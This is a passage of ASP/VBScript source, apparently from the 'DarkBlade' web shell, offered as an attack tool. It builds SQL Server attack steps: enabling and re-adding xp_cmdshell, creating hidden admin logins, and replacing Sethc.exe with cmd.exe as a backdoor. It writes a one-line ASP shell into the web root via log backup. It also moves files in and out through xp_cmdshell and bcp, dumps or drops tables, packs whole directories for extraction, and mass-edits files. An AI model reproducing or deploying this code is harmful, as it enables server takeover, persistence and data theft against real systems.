1631				doSselect
1632				echo"</td>"
1633				doTdInput"button","","Generate","10%","onClick=""javascript:doBoxStr(boxstr.value,boxpath.value,boxtemp.value,boxstep.value)""",""
1634				doTtr
1635				doTtable
1636				echo"</span>"
1637				doHideSpan"fsocopy",True
1638				doTable"100%"
1639				doTr 1
1640				doTd"Source","10%"
1641				doTdInput"text","fsoori","C:\WINDOWS\system32\cmd.exe","35%","",""
1642				doTd"Target","10%"
1643				doTdInput"text","fsotag","C:\WINDOWS\system32\Sethc.exe","35%","",""
1644				doTdInput"button","","Generate","10%","onClick=""javascript:doFsoStr(fsoori.value,fsotag.value)""",""
1645				doTtr
1646				doTtable
1647				echo"</span>"
1648				doHideSpan"makecab",True
1649				doTable"100%"
1650				doTr 1
1651				doTd"Source","10%"
1652				doTdInput"text","cabori","C:\WINDOWS\system32\cmd.exe","35%","",""
1653				doTd"Target","10%"
1654				doTdInput"text","cabtag","C:\WINDOWS\system32\Sethc.exe","35%","",""
1655				doTdInput"button","","Generate","10%","onClick=""javascript:doMakeCab(cabori.value,cabtag.value)""",""
1656				doTtr
1657				doTtable
1658				echo"</span>"
1659				doHideSpan"addproc",True
1660				doTable"80%%"
1661				doTr 1
1662				doTd"Procedure","20%"
1663				echo"<td width='20%'>"
1664				doSelect"addsptag","100%",""
1665				doOption "xp_cmdshell","xp_cmdshell"
1666				doOption "xp_dirtree","xp_dirtree"
1667				doOption "xp_regread","xp_regread"
1668				doOption "xp_regwrite","xp_regwrite"
1669				doOption "sp_oacreate","sp_oacreate"
1670				doSselect
1671				doTd"DLL","20%"
1672				echo"<td width='20%'>"
1673				doSelect"addspdll","100%",""
1674				doOption "xplog70.dll","xplog70.dll"
1675				doOption "xpstar.dll","xpstar.dll"
1676				doOption "odsole70.dll","odsole70.dll"
1677				doSselect
1678				doTdInput"button","","Generate","20%","onClick=""javascript:doAddSp(addsptag.value,addspdll.value)""",""
1679				doTtr
1680				doTtable
1681				echo"</span>"
1682				doHideSpan"delproc",True
1683				doTable"40%"
1684				doTr 1
1685				doTd"Procedure","30%"
1686				echo"<td width='40%'>"
1687				doSelect"delsptag","100%",""
1688				doOption "xp_cmdshell","xp_cmdshell"
1689				doOption "xp_dirtree","xp_dirtree"
1690				doOption "xp_regread","xp_regread"
1691				doOption "xp_regwrite","xp_regwrite"
1692				doOption "sp_oacreate","sp_oacreate"
1693				doSselect
1694				echo"</td>"
1695				doTdInput"button","","Generate","30%","onClick=""javascript:doDelSp(delsptag.value)""",""
1696				doTtr
1697				doTtable
1698				echo"</span>"
1699				doHideSpan"enfunc",True
1700				doTable"40%"
1701				doTr 1
1702				doTd"Function","30%"
1703				echo"<td width='40%'>"
1704				doSelect"ensptag","100%",""
1705				doOption "xp_cmdshell","xp_cmdshell"
1706				doOption "Ole Automation Procedures","sp_oacreate"
1707				doOption "Ad Hoc Distributed Queries","openrowSet"
1708				doSselect
1709				echo"</td>"
1710				doTdInput"button","","Generate","30%","onClick=""javascript:doEnableSp(ensptag.value)""",""
1711				doTtr
1712				doTtable
1713				echo"</span>"
1714				doHideSpan"addlogin",True
1715				doTable"80%"
1716				doTr 1
1717				doTd"Username","10%"
1718				doTdInput"text","addusername","Bloodsword$","30%","",""
1719				doTd"Password","10%"
1720				doTdInput"text","adduserpass","0kee","30%","",""
1721				doTdInput"button","","Generate","20%","onClick=""javascript:doAddLogin(addusername.value,adduserpass.value)""",""
1722				doTtr
1723				doTtable
1724				echo"</span>"
1725				doHideSpan"addsys",True
1726				doTable"80%"
1727				doTr 1
1728				doTd"Username","10%"
1729				doTdInput"text","sysname","Bloodsword$","30%","",""
1730				doTd"Password","10%"
1731				doTdInput"text","syspass","0kee","30%","",""
1732				doTdInput"button","","Generate","20%","onClick=""javascript:doAddSysUser(sysname.value,syspass.value)""",""
1733				doTtr
1734				doTtable
1735				echo"</span>"
1736				doHideSpan"logback",True
1737				doTable"100%"
1738				doTr 1
1739				doTd"Content","10%"
1740				echo"<td colspan='4'>"
1741				doTextarea"logContent","<%response.clear:execute request(""value""):response.End%"&">","100%",5,""
1742				echo"</td>"
1743				doTdInput"button","","Generate","10%","onClick=""javascript:doLogBackup(logContent.value,logPath.value,logdb.value,logstep.value)""",""
1744				doTtr
1745				doTr 0
1746				doTd"Path","10%"
1747				doTdInput"text","logPath",mapath(".")&"\system.asp","40%","",""
1748				doTd"Database","10%"
1749				doTdInput"text","logdb",dbname,"20%","",""
1750				doTd"Step","10%"
1751				echo"<td width='10%'>"
1752				doSelect"logstep","100%",""
1753				doOption 1,1
1754				doOption 2,2
1755				doOption 3,3
1756				doOption 4,4
1757				doSselect
1758				echo"</td>"
1759				doTtr
1760				doTtable
1761				echo"</span>"
1762				doHideSpan"saup",True
1763				echoLine"<form method=""post"" id=""saform""action="""&pagePath&"""enctype=""multipart/form-data"">"
1764				doHidden"goaction",goaction
1765				doHidden"subAct","saup"
1766				doHidden"connStr",connStr
1767				doTable"100%"
1768				doTr 1				
1769				doTdInput"file","safile","","30%","",""
1770				echoLine"<td align='right'>Save as(full path):</td>"
1771				doTdInput"text","thePath","","40%","",""
1772				doTdInput"button","","Upload","10%","onClick=""javascript:dosubmit('"&goaction&"','safile','')""",""
1773				doTtr
1774				doTtable
1775				doFform
1776				echo"</span>"
1777				doHideSpan"sadown",True
1778				doForm True
1779				doHidden"subAct","sadown"
1780				doHidden"connStr",connStr
1781				doTable"100%"
1782				doTr 1				
1783				doTd"Remoto file(full path)",""
1784				doTdInput"text","loadPath","","30%","",""
1785				doTd"Save as",""
1786				doTdInput"text","thePath",asppath,"30%","",""
1787				doTdSubmit"Download","10%"
1788				doTtr
1789				doTtable
1790				doFform
1791				echo"</span>"
1792			End If
1793			echo"<hr>"
1794		End If
1795	End Sub
1796
1797	Sub delTable()
1798		If Not isDebugMode Then On Error Resume Next
1799		If dbType<>"others" Then strTable="["&strTable&"]"
1800		conn.Execute"drop table "&strTable,-1,&H0001
1801		If Err Then
1802			chkErr(Err)
1803		Else
1804			errMsgAdd("Table deleted.")
1805		End If
1806		showTables()
1807	End Sub
1808	Sub expTable()
1809		If Not isDebugMode Then On Error Resume Next
1810		If dbType<>"others" Then strTable="["&strTable&"]"
1811		Dim rs
1812		Set rs=conn.Execute("select * from "&strTable,-1,&H0001)
1813			dieErr(Err)
1814			If rs.Fields.Count>0 Then
1815				Response.Clear
1816				Session.CodePage=936
1817				Response.AddHeader"Content-Disposition","Attachment; Filename="&strTable&".xls"
1818				Session.CodePage=65001
1819				Response.AddHeader"Content-Type","application / ms - excel"
1820				echo"<table border=1><tr>"
1821				For i=0 To rs.Fields.Count-1
1822					echo"<td><b>"&rs.Fields(i).Name&"</b></td>"
1823				Next
1824				echo"</tr>"
1825				Do Until rs.EOF
1826					echo"<tr>"
1827					For i=0 To rs.Fields.Count-1
1828						echo"<td>"&htmlEnc(rs(i))&"</td>"
1829					Next
1830					echo"</tr>"
1831					rs.MoveNext
1832				Loop
1833				echo"</table>"
1834			Else
1835				errMsgAdd"It's empty."
1836				showTables()
1837				doFin
1838			End If
1839			rs.Close
1840			Set rs=Nothing
1841			response.End
1842	End Sub
1843	Sub saFile()
1844		strfrm="8.0|1|1       SQLIMAGE      0       {size}       """"                        1     binfile     """"|"
1845		conn.execute "If object_id('dark_temp')is not null drop table dark_temp"
1846		If InStr(sqlver,"Microsoft SQL Server 2005")>0 Then
1847			strfrm=Replace(strfrm,"8.0","9.0")
1848			conn.execute("EXEC master..sp_configure 'show advanced options', 1;RECONFIGURE;EXEC master..sp_configure 'xp_cmdshell', 1;RECONFIGURE;")
1849		End If
1850		If subAct="sadown"Then
1851			Dim rs,size
1852			If thePath=""Or loadPath="" Then
1853				errMsgAdd"Not enough parameters."
1854				showTables()
1855				doFin
1856			ElseIf InstrRev(loadPath,".")<InstrRev(loadPath,"\")Then
1857				errMsgAdd"You can't download a folder -_-~!"
1858				showTables()
1859				doFin
1860			ElseIf InstrRev(thePath,".")<InstrRev(thePath,"\")Then
1861				thePath=thePath&"\"&getRight(loadPath,"\")
1862			End If
1863			Set rs=CreateObj("Adodb.RecordSet")
1864			Set rs=conn.execute("EXEC master..xp_cmdshell 'dir """&loadPath&""" | find """&getRight(loadPath,"\")&"""'",-1,&H0001)
1865			rs.movefirst
1866			size=Replace(Trim(regExecute(rs(0)," [0-9,]+ ",False)(0)),",","")
1867			If size=""Or Not IsNumeric(size)Then
1868				errMsgAdd("Get size error.")
1869				doFin
1870			End If
1871			strfrm=Replace(strfrm,"{size}",size)
1872			rs.Close
1873			Set rs=Nothing
1874		Else
1875			strfrm=Replace(strfrm,"{size}",0)
1876		End If
1877		arrfrm=Split(strfrm,"|")
1878		For Each substrfrm In arrfrm
1879			conn.execute("EXEC master..xp_cmdshell 'echo "&substrfrm&" >>c:\tmp.fmt'")
1880		Next
1881		If subAct="saup"Then
1882			saUpload()
1883		Else
1884			saDownload()
1885		End If
1886		conn.execute "If object_id('dark_temp')is not null drop table dark_temp"
1887		conn.execute("EXECUTE master..xp_cmdshell 'del c:\tmp.fmt'")
1888		showTables()
1889	End Sub
1890	Sub saUpload()
1891		If Not isDebugMode Then On Error Resume Next
1892		Dim rs,theFile,arrfrm,nowdb
1893		If thePath="" Then thePath=aspPath
1894		If InStr(thePath,":")<1 Then thePath=aspPath&"\"&thePath
1895		Set theFile=cls_upload.File("safile")
1896		If InstrRev(thePath,"\")>InstrRev(thePath,".")Then thePath=thePath&"\"&theFile.FileName
1897		conn.execute "CREATE TABLE [dark_temp] ([id] [int] NULL ,[binfile] [Image] NULL) ON [PRIMARY] TEXTIMAGE_ON [PRIMARY];"
1898		Set rs=CreateObj("Adodb.RecordSet")
1899		rs.Open "SELECT * FROM dark_temp where id is null",conn,1,3
1900		rs.AddNew
1901		rs("binfile").AppendChunk theFile.InFile()
1902		rs.Update
1903		conn.execute("exec master..xp_cmdshell'bcp ""select binfile from "&dbname&"..dark_temp"" queryout """&thePath&""" -T -f c:\tmp.fmt'")
1904		set rs=conn.execute("EXECUTE master..xp_fileexist '"&thePath&"'")
1905		If Err Then
1906			chkErr(Err)
1907		ElseIf rs(0)=1 Then 
1908			errMsgAdd("File uploaded, have fun.")
1909		Else
1910			errMsgAdd("Upload failed, RPWT?")
1911		End If
1912		rs.close
1913		Set rs=Nothing
1914	End Sub
1915	Sub saDownload()
1916		Dim rs
1917		If Not isDebugMode Then On Error Resume Next
1918		conn.execute "CREATE TABLE [dark_temp] ([binfile] [Image] NULL)"
1919		conn.execute("exec master..xp_cmdshell'bcp """&dbname&"..dark_temp"" in """&loadpath&""" -T -f c:\tmp.fmt'")
1920		Set rs=CreateObj("Adodb.RecordSet")		
1921		rs.Open "select * from dark_temp",conn,1,1
1922		streamSaveToFile thePath,rs(0),1
1923		If Err Then
1924			chkErr(Err)
1925		Else
1926			errMsgAdd("File downloaded,have fun.")
1927		End If
1928		rs.close
1929		Set rs=Nothing
1930	End Sub
1931	Sub showTables()
1932		Dim objTable,objColumn,intDefinedSize,strNullAble,spanId,rsTable
1933		If Not isDebugMode Then On Error Resume Next
1934		spanId=1
1935		trId=0
1936		Set rsTable=conn.OpenSchema(20,Array(Empty,Empty,Empty,"table"))
1937		dieErr(Err)
1938		Do Until rsTable.Eof
1939			doSpan spanId
1940			doLabel"<b>"&rsTable("Table_Name")&"</b>"
1941			echo"<label>"
1942			doSqlHref "showQuery","","",rsTable("Table_Name"),"","Show content",""
1943			echo"</label>"
1944			echo"<label>"
1945			doSqlHref "showStructure","","",rsTable("Table_Name"),"","Show structure",""
1946			echo"</label>"
1947			echo"<label>"
1948			doSqlHref "expTable","","",rsTable("Table_Name"),"","Export",""
1949			echo"</label>"
1950			echo"<label>"
1951			doSqlHref "delTable","","",rsTable("Table_Name"),"","Delete",""
1952			echo"</label>"
1953			If subAct="showStructure"And strTable=rsTable("Table_Name")Then
1954				Set rsColumn=conn.OpenSchema(4,Array(Empty,Empty,rsTable("Table_Name").value))
1955				echo"<span>"
1956				echo"<center>"
1957				doTable"80%"
1958				doTr trId
1959				trIdAdd
1960				doTd"Name",""
1961				doTd"Type",""
1962				doTd"Size",""
1963				doTd"Nullable",""
1964				doTtr
1965				Do Until rsColumn.Eof
1966					intDefinedSize=rsColumn("Character_Maximum_Length")
1967					If intDefinedSize="" Then intDefinedSize=rsColumn("Is_Nullable")
1968					doTr trId
1969					doTd rsColumn("Column_Name"),""
1970					doTd getDataType(rsColumn("Data_Type")),""
1971					doTd intDefinedSize,""
1972					doTd rsColumn("Is_Nullable"),""
1973					doTtr
1974					trIdAdd
1975					rsColumn.MoveNext
1976				Loop
1977				doTtable
1978				echo"</center></span>"
1979			End If
1980			echoLine"<br></span>"
1981			trIdAdd
1982			spanId=spanId+1
1983			If spanId=2 Then spanId=0
1984			rsTable.MoveNext
1985		Loop
1986		Set rsTable=Nothing
1987		Set rsColumn=Nothing
1988		chkerr(Err)
1989	End Sub
1990	Sub showQuery()
1991		Dim i,j,x,rs,Cat,strPrimaryKey,sExec,pageNum,tmpQueryStr
1992		If Not isDebugMode Then On Error Resume Next
1993		Set Cat=CreateObj("ADOX.Catalog")
1994		Cat.ActiveConnection=conn.ConnectionString
1995		Set rs=CreateObj("Adodb.RecordSet")
1996		If Lcase(Left(queryStr,7))="select " And dbType<>"others" Then
1997			If intPage=""Then intPage=1
1998			rs.Open queryStr,conn,1,1
1999			dieErr(Err)
2000			intPage=CInt(intPage)
2001			rs.PageSize=sqlPageSize
2002			If Not rs.Eof Then
2003				rs.AbsolutePage=intPage
2004			End If
2005			If rs.Fields.Count > 0 Then
2006				echo"<table width='100%' cellspacing='0' border='0' style='border-width:0px;border-collapse:collapse;'>"
2007				doTr 1
2008				For j=0 To rs.Fields.Count-1
2009					doTdNoWrap htmlEnc(rs.Fields(j).Name)
2010				Next
2011				doTtr
2012				trId=0
2013				For i=1 To rs.PageSize
2014					If rs.Eof Then Exit For
2015					doTr trId
2016					For j=0 To rs.Fields.Count-1
2017						doTdNoWrap htmlEnc(rs(j))
2018					Next
2019					doTtr
2020					trIdAdd
2021					rs.MoveNext
2022				Next
2023			End If
2024			doTr trId
2025			pageNum=rs.RecordCount/sqlPageSize
2026			If InStr(pageNum,".")>0 Then pageNum=Int(pageNum)+1
2027			echo"<td colspan="&rs.Fields.Count&">"
2028			echoLine rs.RecordCount&" records in total,page "&pageNum
2029			doSqlHref "showQuery","","",strTable,"1","&laquo;",htmlEnc(" ")
2030			tmpQueryStr=""
2031			If strTable=""Then tmpQueryStr=Replace(queryStr,"'","\'")
2032			For i=1 To pageNum
2033				If i=intPage Then
2034					echo htmlEnc(" "&i&" ")
2035				Else
2036					echo htmlEnc(" ")
2037					doSqlHref "showQuery","",tmpQueryStr,strTable,i,i,htmlEnc(" ")
2038				End If
2039			Next
2040			echo htmlEnc(" ")
2041			doSqlHref "showQuery","",tmpQueryStr,strTable,pageNum,"&raquo;",""
2042			echo"</td>"
2043			doTtr
2044			doTtable
2045			rs.Close
2046		Else
2047			Set rs=conn.Execute(queryStr,-1,&H0001)
2048			dieErr(Err)
2049			If rs.Fields.Count>0 Then
2050				doTable"100%"
2051				doTr 1
2052				For i=0 To rs.Fields.Count-1
2053					doTdNoWrap htmlEnc(rs.Fields(i).Name)
2054				Next
2055				doTtr
2056				trId=0
2057				Do Until rs.EOF
2058					doTr trId
2059					For i=0 To rs.Fields.Count-1
2060						doTdNoWrap htmlEnc(rs(i))
2061					Next
2062					doTtr
2063					rs.MoveNext
2064					trIdAdd
2065				Loop
2066				doTtable
2067				rs.Close
2068			Else
2069				errMsgAdd"Query got null recordSet."
2070			End If
2071			Set rs=Nothing
2072			Set Cat=Nothing
2073		End If
2074		chkerr(Err)
2075	End Sub
2076
2077	Sub CreateConn(connStr)
2078		If Not isDebugMode Then On Error Resume Next
2079		Set conn=CreateObj("Adodb.Connection")
2080		conn.Open connStr
2081		dieErr(Err)
2082	End Sub
2083
2084	Sub DestoryConn()
2085		If Not isDebugMode Then On Error Resume Next
2086		If IsObject(conn)Then
2087			conn.Close
2088			Set conn=Nothing
2089		End If
2090	End Sub
2091
2092	Function GetDataType(flag)
2093		Dim str
2094		Select Case flag
2095			Case 0: str="EMPTY"
2096			Case 2: str="SMALLINT"
2097			Case 3: str="INTEGER"
2098			Case 4: str="SINGLE"
2099			Case 5: str="DOUBLE"
2100			Case 6: str="CURRENCY"
2101			Case 7: str="DATE"
2102			Case 8: str="BSTR"
2103			Case 9: str="IDISPATCH"
2104			Case 10: str="ERROR"
2105			Case 11: str="BIT"
2106			Case 12: str="VARIANT"
2107			Case 13: str="IUNKNOWN"
2108			Case 14: str="DECIMAL"
2109			Case 16: str="TINYINT"
2110			Case 17: str="UNSIGNEDTINYINT"
2111			Case 18: str="UNSIGNEDSMALLINT"
2112			Case 19: str="UNSIGNEDINT"
2113			Case 20: str="BIGINT"
2114			Case 21: str="UNSIGNEDBIGINT"
2115			Case 72: str="GUID"
2116			Case 128: str="BINARY"
2117			Case 129: str="CHAR"
2118			Case 130: str="VARCHAR"
2119			Case 131: str="NUMERIC"
2120			Case 132: str="USERDEFINED"
2121			Case 133: str="DBDATE"
2122			Case 134: str="DBTIME"
2123			Case 135: str="DBTIMESTAMP"
2124			Case 136: str="CHAPTER"
2125			Case 200: str="WCHAR"
2126			Case 201: str="TEXT"
2127			Case 202: str="NVARCHAR"
2128			Case 203: str="NTEXT"
2129			Case 204: str="VARBINARY"
2130			Case 205: str="LONGVARBINARY"
2131			Case Else: str=flag
2132		End Select
2133		GetDataType=str
2134	End Function
2135
2136	Sub showEdit()
2137		If Not isDebugMode Then On Error Resume Next
2138		Dim theFile,strContent,parPath,tmputf
2139		If Right(thePath,1)="\"Then
2140			errMsgAdd"Can't edit a directory!"
2141			doFin
2142		End If
2143		parPath=getLeft(thePath,"\",False)
2144		doForm True
2145		If goaction="FsoFileExplorer"And subAct="showEdit" Then
2146			strContent=FsoRead(thePath)
2147		Else
2148			strContent=streamLoadFromFile(thePath)
2149		End If
2150		chkerr(Err)
2151		doTextarea"fileContent",strContent,"100%","25",""
2152		If subAct="utfEdit" Then
2153			doHidden"subAct","utfSave"
2154		Else
2155			doHidden"subAct","save"
2156		End If
2157		echo"Save as :"
2158		doInput"text","thePath",thePath,"60",""
2159		echo" Encode:"
2160		doSelect"act","80px","onchange=""javascript:if(this.value!=''){dosubmit('"&goaction&"',this.value,'"&doPathFormat(thePath)&"');}"""
2161		doOption"showEdit","Default"
2162		tmputf="<option value=""utfEdit"" {$}>Utf-8</option>"
2163		If subAct="utfEdit" Then
2164			tmputf=Replace(tmputf,"{$}","selected")
2165		End If
2166		echo tmputf
2167		doSselect
2168		echo" "
2169		doSubmit"Save"
2170		echo" "
2171		doInput"reSet","","ReSet","",""
2172		echo" "
2173		doInput"button","clear","Clear","","onClick=""javascript:this.form.fileContent.innerText=''"""
2174		echo" "
2175		doInput"button","","Go back","","onClick=""javascript:dosubmit('"&goaction&"','','"&doPathFormat(parPath)&"')"""
2176		doFform
2177		chkerr(Err)
2178		doFin
2179	End Sub
2180	Sub saveFile()
2181		If Not isDebugMode Then On Error Resume Next
2182		If goaction="FsoFileExplorer"And subAct="save" Then
2183			fsoSaveToFile thePath,fileContent
2184		Else
2185			streamSaveToFile thePath,fileContent,2
2186		End If
2187		If Err Then
2188			chkerr(Err)
2189		Else
2190			errMsgAdd"File saved."
2191		End If
2192	End Sub
2193	Sub PageAddToMdb()
2194		If Not isDebugMode Then On Error Resume Next
2195		Server.ScriptTimeOut=5000
2196		If thePath=""Then thePath=pubPam
2197		If thePath=""Then thePath=aspPath
2198		If mdbPath=""Then mdbPath=mapath("DarkBlade.mdb")
2199		If packMethod=""Then packMethod="fso"
2200		showTitle"File Packer/Unpacker"
2201		echo"<center>"
2202		doTable"100%"
2203		doTr 1
2204		doForm True
2205		doTd"File Pack","10%"
2206		doTdInput"text","thePath",thePath,"30%","",""
2207		echoLine"<td style=""width:50%;"">"
2208		doSelect"subAct","80px",""
2209		doOption"fsoPack","FSO"
2210		doOption"appPack","UnFSO"
2211		doSselect
2212		echo" Pack as : "
2213		doInput"text","mdbPath",mdbPath,40,""
2214		echo"</td>"
2215		doTdSubmit"Pack","10%"
2216		doTtr
2217		doTr 0
2218		doTd"Exceptional folder",""
2219		doTdInput"text","outPath",outPath,"30%","",""
2220		echo"<td colspan=""2"">"
2221		echo"Exceptional file type,split with | "
2222		doInput"text","outExt",outExt,40,""
2223		echo"</td></tr>"
2224		doTtable
2225		doFform
2226		echo"<hr>"
2227		doTable"100%"
2228		doTr 1
2229		doForm True
2230		doHidden"subAct","unpa"
2231		doTd"Release to","10%"
2232		doTdInput"text","thePath",thePath,"30%","",""
2233		echoLine"<td> Mdb path : "
2234		doInput"text","mdbPath",mdbPath,40,""
2235		echo"</td>"
2236		doTdSubmit"Unpack","10%"
2237		doFform
2238		doTtr
2239		doTtable
2240		echo"</center>"
2241		echo"<hr>Notice: Unpacking need FSO object,all files unpacked will be under target folder,replacing same named!"
2242		Select Case subAct
2243			Case"fsoPack"
2244				AddToMdb"fso"
2245			Case"appPack"
2246				AddToMdb"app"
2247			Case"unpa"
2248				doUnPack()
2249		End Select
2250	End Sub
2251	Sub AddToMdb(packMethod)
2252		If Not isDebugMode Then On Error Resume Next
2253		Dim rs,connStr,adoCatalog
2254		Set rs=CreateObj("ADODB.RecordSet")
2255		Set objStream=CreateObj("adodb.stream")
2256		Set adoCatalog=CreateObj("ADOX.Catalog")
2257		If InStr(mdbPath,":\")<1 Then mdbPath=mapath(mdbPath)
2258		mdbName=getRight(mdbPath,"\")
2259		connStr=getJetStr(mdbPath)
2260		adoCatalog.Create connStr
2261		CreateConn(connStr)
2262		conn.Execute("Create Table FileData(Id int IDENTITY(0,1) PRIMARY KEY CLUSTERED,strPath VarChar,binContent Image)")
2263		dieErr Err
2264		objStream.Open
2265		objStream.Type=1
2266		rs.Open"FileData",conn,3,3
2267		mdbName=Lcase(mdbName)
2268		mdbName2=Replace(mdbName,".mdb",".ldb")
2269		If packMethod="fso"Then
2270			fsoTreeForMdb thePath,thePath,rs,objStream
2271		Else
2272			saTreeForMdb thePath,thePath,rs,objStream
2273		End If
2274		rs.Close
2275		DestoryConn
2276		objStream.Close
2277		Set rs=Nothing
2278		Set objStream=Nothing
2279		Set adoCatalog=Nothing
2280		If Err Then
2281			chkerr(Err)
2282		Else
2283			errMsgAdd"Packing completed"
2284		End If
2285	End Sub
2286	Sub fsoTreeForMdb(thePath,subPath,rs,objStream)
2287		If Not isDebugMode Then On Error Resume Next
2288		Dim item,theFolder,objFolder,files
2289		If Not(objFso.FolderExists(subPath))Then
2290			errMsgAdd"Folder dosen't exists or access denied!"
2291			doFin
2292		End If
2293		outPath=Lcase(outPath)
2294		Set theFolder=objFso.GetFolder(subPath)
2295		For Each item In theFolder.Files
2296			If Not(regTest(getRight(item.name,"."),"^("&outExt&")$") Or Lcase(item.Name)=mdbName Or Lcase(item.Name)=mdbName2)Then
2297				rs.AddNew
2298				rs("strPath")=Replace(item.Path,thePath&"\","")
2299				objStream.LoadFromFile(item.Path)
2300				rs("binContent")=objStream.Read()
2301				rs.Update
2302			End If
2303		Next
2304		For Each item In theFolder.SubFolders
2305			If Not regTest(item.name,"^("&outPath&")$")Then
2306				fsoTreeForMdb thePath,item.Path,rs,objStream
2307			End If
2308		Next
2309		Set files=Nothing
2310		Set objFolder=Nothing
2311		Set theFolder=Nothing
2312	End Sub
2313	Sub saTreeForMdb(thePath,subPath,rs,objStream)
2314		If Not isDebugMode Then On Error Resume Next
2315		Dim item,theFolder,sysFileList
2316		Set theFolder=objSa.NameSpace(subPath)
2317		For Each item In theFolder.Items
2318			If Not item.IsFolder And Lcase(item.Name)<>mdbName And Lcase(item.Name)<>mdbName2 And Not(regTest(getRight(item.name,"."),"^("&outExt&")$"))  Then
2319				rs.AddNew
2320				rs("strPath")=Replace(item.Path,thePath&"\","")
2321				objStream.LoadFromFile(item.Path)
2322				rs("binContent")=objStream.Read()
2323				rs.Update
2324			End If
2325		Next
2326		For Each item In theFolder.Items
2327			If item.IsFolder And Not regTest(item.name,"^("&outPath&")$") Then
2328				saTreeForMdb thePath,item.Path,rs,objStream
2329			End If
2330		Next
2331		Set theFolder=Nothing
2332	End Sub
2333	Sub doUnPack()
2334		If Not isDebugMode Then On Error Resume Next
2335		Server.ScriptTimeOut=5000
2336		Dim rs,str,theFolder
2337		thePath=thePath
2338		thePath=Replace(thePath,"\\","\")
2339		If InStr(mdbPath,":\")<1 Then mdbPath=mapath(mdbPath)
2340		Set rs=CreateObj("ADODB.RecordSet")
2341		Set objStream=CreateObj("adodb.stream")
2342		connStr=getJetStr(mdbPath)
2343		CreateConn(connStr)
2344		rs.Open"FileData",conn,1,1
2345		dieErr Err
2346		objStream.Open
2347		objStream.Type=1
2348		Do Until rs.Eof
2349			If InStr(rs("strPath"),"\")>0 Then
2350				theFolder=thePath&"\"&getLeft(rs("strPath"),"\",False)
2351			Else
2352				theFolder=thePath
2353			End If
2354			If Not objFso.FolderExists(theFolder)Then
2355				objFso.CreateFolder(theFolder)
2356			End If
2357			objStream.SetEos()
2358			objStream.Write rs("binContent")
2359			objStream.SaveToFile thePath&"\"&rs("strPath"),2
2360			rs.MoveNext
2361		Loop
2362		rs.Close
2363		DestoryConn
2364		objStream.Close
2365		Set rs=Nothing
2366		Set objStream=Nothing
2367		If Err Then
2368			chkerr(Err)
2369		Else
2370			errMsgAdd"Unpacking completed"
2371		End If
2372	End Sub
2373
2374	Sub PageTxtSearcher()
2375		If Not isDebugMode Then On Error Resume Next
2376		Server.ScriptTimeOut=5000
2377		Dim theFolder
2378		showTitle("Text File Searcher/Replacer")
2379		If thePath=""Then
2380			thePath=rootPath
2381		End If
2382		doForm True
2383		doTable"100%"
2384		doTr 1
2385		doTd"Keyword","20%"
2386		doTdText"searchkey",searchkey,4
2387		echo"<td>"
2388		doSelect"subAct","80px",""
2389		doOption"fsoSearch","FSO"
2390		doOption"saSearch","UnFSO"
2391		doSselect
2392		echo"<br>"
2393		doChkBox"useReg",1," Regexp",""
2394		echoLine"</td>"
2395		doTtr
2396		doTr 0
2397		doTd"Replace as",""
2398		doTdText"strReplaceTo",strReplaceTo,4
2399		echo"<td>"
2400		doChkBox"needReplace",1," Replace",""
2401		echoLine"</td>"
2402		doTtr
2403		doTr 1
2404		doTd"Path",""
2405		doTdInput"text","thePath",thePath,"","",""
2406		echo"<td>"
2407		doInput"radio","searchType","filename","",""
2408		echo"File name "
2409		doInput"radio","searchType","fileContent","","checked"
2410		echo"File content"
2411		echo"</td>"
2412		doTtr
2413		doTr 0
2414		doTd"Search type",""
2415		doTdInput"text","searchExt",textExt,"","",""
2416		doTdSubmit"Search",""
2417		doTtr
2418		doTtable
2419		If searchkey<>""Then
2420			echo"<hr>"
2421			doUl
2422			If subAct="fsoSearch"Then
2423				Set theFolder=objFso.GetFolder(thePath)
2424				Call searchFolder(theFolder,searchkey)
2425				Set theFolder=Nothing
2426			ElseIf subAct="saSearch"Then
2427				Call appSearchIt(thePath,searchkey)
2428			End If
2429			echo"</ul>"
2430		End If
2431		If Err Then
2432			chkerr(Err)
2433		Else
2434			errMsgAdd"Search completed"
2435		End If
2436		doFin
2437	End Sub
2438	Sub searchFolder(folder,str)
2439		Dim ext,title,theFile,theFolder,needReg
2440		needReg=False
2441		If useReg=1 Then needReg=True
2442		For Each theFile In folder.Files
2443			ext=Lcase(getRight(theFile.Name,"."))
2444			If searchType="filename"Then
2445				If needReg And regTest(theFile.Name,str)Then
2446					dofileLink theFile.Path,"fso"
2447				ElseIf InStr(1,theFile.Name,str,1) > 0 Then
2448					dofileLink theFile.Path,"fso"
2449				End If
2450			Else
2451				If regTest(ext,"^("&searchExt&")$")Then
2452					If searchFile(theFile.Path,str,"fso",needReg) Then
2453						dofileLink theFile.Path,"fso"
2454					End If
2455				End If
2456			End If
2457		Next
2458		For Each theFolder In folder.subFolders
2459			searchFolder theFolder,str
2460		Next
2461		chkerr(Err)
2462	End Sub
2463	Function searchFile(sPath,s,method,needReg)
2464		If Not isDebugMode Then On Error Resume Next
2465		Dim theFile,content,find
2466		find=False
2467		If method="fso" Then
2468			content=fsoRead(sPath)
2469		Else
2470			content=streamLoadFromFile(sPath)
2471		End If
2472		If Err Then
2473			chkerr(Err)
2474			searchFile=False
2475			Exit Function
2476		End If
2477		If needReg Then
2478			find=regTest(content,s)
2479		ElseIf InStr(1,content,s,1)>0 Then
2480			find=True
2481		End If
2482		If needReplace Then
2483			If needReg Then
2484				content=regReplace(content,s,strReplaceTo,False)
2485			Else
2486				content=Replace(content,s,strReplaceTo,1,-1,1)
2487			End If
2488			If method="fso" Then
2489				fsoSaveToFile sPath,content
2490			Else
2491				streamSaveToFile sPath,content,2
2492			End If
2493		End If
2494		searchFile=find
2495		chkerr(Err)
2496	End Function
2497	Sub appSearchIt(thePath,theKey)
2498		If Not isDebugMode Then On Error Resume Next
2499		Dim title,ext,objFolder,objItem,fileName,needReg
2500		needReg=False
2501		If useReg=1 Then needReg=True
2502		Set objFolder=objSa.NameSpace(thePath)
2503		For Each objItem In objFolder.Items
2504			If objItem.IsFolder Then
2505				Call appSearchIt(objItem.Path,theKey)
2506			Else
2507				ext=Lcase(getRight(objItem.Path,"."))
2508				fileName=getRight(objItem.Path,"\")
2509				If searchType="filename"Then
2510					If needReg And regTest(fileName,str)Then
2511						dofileLink theFile.Path,"app"
2512					ElseIf InStr(Lcase(fileName),Lcase(str)) > 0 Then
2513						dofileLink theFile.Path,"app"
2514					End If
2515				Else
2516					If regTest(subExt,"^("&searchExt&")$")Then
2517						If searchFile(objItem.Path,theKey,"app",needReg) Then
2518							doFileLink objItem.Path,"app"
2519						End If
2520					End If
2521				End If
